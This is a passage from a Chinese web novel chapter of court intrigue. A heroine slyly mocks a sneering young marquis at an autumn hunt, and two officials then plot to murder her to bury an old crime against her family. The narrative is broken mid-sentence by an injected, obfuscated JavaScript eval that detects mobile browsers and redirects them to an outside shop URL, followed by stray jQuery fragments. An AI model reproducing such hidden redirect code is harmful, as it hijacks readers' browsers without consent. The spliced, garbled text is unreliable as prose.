白栖枝：“……”


    萧鹤川眼中的兴味更浓了，纤长的眼睫垂下，遮住大半眸光，只留一线幽深，好整以暇地看着她，仿佛在观赏什么新奇有趣的表演。


    白栖枝只恨自己不会骂人，不然她现在早就在心里已经把贺行轩骂了八百遍。


    虽是这样想着，但她脸上还是瞬间挂起了无可挑剔的、标准到近乎虚假的得体笑容，对着萧鹤川和常修洁深深一福，声音清脆又官腔十足：


    “民女白栖枝，见过常大人、萧小侯爷，见过二位夫人。今日秋猎，得遇诸位贵人，实乃民女之幸。常大人监察风宪，清名远播；萧小侯爷文武兼修，风采过人，久仰二位大名，今日一见，果然名不虚传。二位夫人亦是端庄娴雅，令人心折。秋光正好，能与诸位同享此乐，民妇倍感荣幸。”


    她这一套话说得行云流水，客气周到，把能夸的都夸了一遍，却又保持着恰到好处的距离，不至于引火烧身。


    萧鹤川看着她，唇边那抹似笑非笑的弧度加深了些，却依旧未达眼底，反而像冰面上的一道浅痕，透着寒气。


    “林夫人，好伶俐的口齿。”


    他顿了顿，目光似有似无地扫过她身后的沈忘尘，手中的紫竹洞箫轻轻敲击着掌心，目光刻意在沈忘尘无法动弹的双腿上停留，忽然用一种带着奇异韵律、仿佛在吟诵什么陈年旧闻般的腔调般，讽刺与恶意几乎不加掩饰地、慢悠悠地说道：


    “嗬，想当年，霞姿月韵沈忘尘，天生贵胄林听澜，你们那点子事，可是闹得满城风雨，引为一时‘佳话’啊……够了白栖枝！你一直在笑！你是觉得我很好笑么？！”


    白栖枝也不是故意的。


    她原本正垂眸敛衽，维持着那副恭敬得体的姿态，乍闻萧鹤川那拿腔拿调、仿佛在念什么传奇话本子里一代大侠才有的称号，是实在忍不住笑才转过身去的。


    “霞姿月韵”？“天生贵胄”？


    这两个词到底是怎么和他们扯上关系的？


    由是在萧鹤川“念旧”的时候，她慌忙咬住下唇内侧软肉，硬生生把那声笑憋了回去，可肩膀却不受控制地开始微微颤抖。她赶紧背过身去，假装是风大呛着了，抬起袖子掩住口鼻，实则整张脸都埋进了袖子里，忍笑忍得浑身发颤，眼泪都快憋出来了。


    闻言，白栖枝猛地转过身来。


    可她脸上哪有一丝泪痕？分明是涨得通红，眼角还带着笑出来的湿意！


    萧鹤川就见着她深吸了好几口气，才勉强稳住声音，但那语调里依旧残留着笑意带来的微颤：


    “抱、抱歉，萧小侯爷……民、民女方才……被风沙迷了眼，一时失态，实在失礼。”说着，白栖枝还抬起袖子，装模作样地擦了擦眼角不存在的“泪花”，只是那嘴角的弧度，怎么压都有些压不住。


    一瞬间，萧鹤川他握着紫竹洞箫的手指倏然收紧，指节泛白，那股被轻视、被嘲弄的怒火猛地窜起，脸色阴沉的不像话。


    他不是傻子，自然看得出白栖枝这哪里是哭？分明是在笑！而且笑的就是他刚才那番故作姿态的话！


    “够了！白栖枝！”他声音陡然拔高，带着一种尖锐的怒意，彻底撕破了方才那层虚伪的倨傲面纱，“你一直在笑！你是觉得我很好笑么？！还是你觉得，沈忘尘如今成了个废人，林听澜生死不明，你便可以在本侯面前放肆了？！”


    这话说得极其难听，刻薄恶毒，直戳痛处。贺行轩脸色大变，上前一步就要理论。沈忘尘放在轮椅扶手上的手也猛地收紧，眸色骤然冰冷。


    白栖枝脸上的笑意却在这句话后，慢慢收敛了。不是害怕，而是一种冰冷的、带着审视的平静。她抬眼，直视着萧鹤川因为愤怒而显得有些扭曲的昳丽面容。


    “萧小侯爷言重了。”她的声音恢复了平稳，甚至比刚才更加清晰冷静，“民女岂敢觉得小侯爷好笑。只是方才忽然想起一桩幼时趣事，一时没忍住，惊扰了小侯爷，确是民女失仪，在此向小侯爷赔罪。”


    她嘴上说着赔罪，语气却不卑不亢，目光坦然，丝毫没有畏惧或讨好之意。“至于沈公子与我家夫君，”她顿了顿，语气不急不缓，“他们如何，自有公论，不劳小侯爷挂心。民女一介商妇，只知道凭本事吃饭，守好家业，不负故人所托。旁人的闲言碎语，或是恶意揣测，于民女而言，不过是过耳秋风，吹过便散了。”


    萧鹤川被她这绵里藏针的话噎得胸口发闷，脸色一阵青一阵白，五颜六色，甚是缤纷多彩。


    一旁的周氏似乎觉得萧鹤川有些过分，也觉场面难堪，便出声打圆场，语气依旧平淡：“夫君，时辰不早，莫让陛下久等。林夫人，方才失礼，还请见谅。”


    萧鹤川冷哼一声，狠狠剜了白栖枝一眼，那眼神阴鸷得像是淬了毒。他不再多言，拂袖转身，径自离去。


    常修洁对白栖枝等人略一颔首，也带着夫人跟了上去。


    待那行人走远，贺行轩才长长吐出一口气，拍了拍胸口：“我的天爷，这萧鹤川怎么跟个炮仗似的，一点就炸，还专挑难听的说！枝枝，你刚才真是……太厉害了！”他看向白栖枝的眼神充满了敬佩。


    白栖枝：“……贺！行！！轩！！！都怪你！如果不是你，我用得着跟他废话吗？！还有你！沈忘尘！你没事乱跑个什么劲儿啊！如果不是你乱跑，我根本就不会出来的！！！我再也不要理你们两个了！”


    原本还在欣慰的沈忘尘：“……”好吧。


    此事，似乎怪他？


    *


    另一边。


    远离营帐喧嚣的僻静山坳中，炭火在临时搭起的简易帐幕内哔啵作响。


    路羡之就坐在主位之上，将老未老的脸孔在跳动的火光下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961332|193309||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    显得晦暗不明。


    常修洁立在一旁，没有紧缩，手中一杯早就凉透的茶许久未动。


    “不能再拖了。”路羡之突然开口，声音里透露着一股子阴冷的决绝，“此番正是好机会，滁北山中，山高林密，险象环生。白栖枝必须死！”


    “路大人何必如此急切？”常修洁放下手中茶杯，瓷器磕在木几上发出一声闷响，“给她些教训让她知难而退，不再追查便是。赶尽杀绝，动静太大，恐引陛下疑心。且孔相尚未叫我们杀了她，此举，是否有僭越之嫌？”


    “僭越？”路羡之嗤笑一声，抬眼而看，“常修洁，你何时变得如此心慈手软/还是说，你对当年白纪风那等不识时务、最终身死族灭的所谓‘清流’，也生了无谓的同情。难道你与那白纪风是同党，也要阻了丞相大人的宏伟大业么？！”


    “路大人慎言！”


    “常修洁！！！”路羡之拍案而怒起，却是正襟缓步走到常修洁面前，将声音压得更低，“别忘了当年是谁带人查抄白府，亲眼看着白家上下血溅阶前？修洁，如今你说‘教训’？白栖枝若只是寻常商户女便罢了，可她偏偏是白纪风的女儿！她那双眼睛，和她父亲一样，总想看清不该看清的东西！她在查孙记，查阿贵的死，查那些碎纸片……她离当年的真相太近了！不除掉她，你我，乃至孔相，都寝食难安！”


    他字字冷如冰锥，叫常修洁默然不语。


    良久，常修洁冷哼一声，带着几分不易察觉的倨傲，反问他道：“路大人，你如此心急，莫不是心虚了？”


    “心虚什么？！路羡之勃然大怒，“当年他白纪风是何等的风光？清廉雅正/满朝赞誉！我与他同朝为官，他却处处压我一头！同窗？呵——他何曾真正将我放在眼里？是他找死！是他阻了孔相的路，不识时务、满门倾覆，我不过是顺势而为，何错之有？如今他的女儿想阴沟里的老鼠一样无孔不入！她那个探子是谁杀的？碎纸片是谁在查？迷迭香的事她又摸到了多少？等到她查到当年白家覆灭的真相，查到你我头上，查到孔相头上，你我就都得给她陪葬！”


    他喘了口气，语气稍缓却更添威逼：“况且，孔相日理万机，些许小事，何须烦扰他老人家。如今书画院内外，乃至许多送往御前的谕旨文书，不都是经由我手？我说这是‘意外’，这便是‘意外’。滁北山势险峻，猎场内偶有猛兽出没，或是失足跌落，或是流箭误伤，一个无依无靠的商妇，死了也就死了，谁会深究？难道陛下还会为了她，大动干戈不成？”


    “常修洁，你是个聪明人。此事办成，便是替孔相、也替我们所有人除去一桩心头大患。你那个不成器的弟弟在边军里的前程，我或许还能再说上几句话。”


    “你呀。好好想想吧！”


    说完，路羡之伸出手，意味深长地拍了拍常修洁的肩膀，狠狠捏住。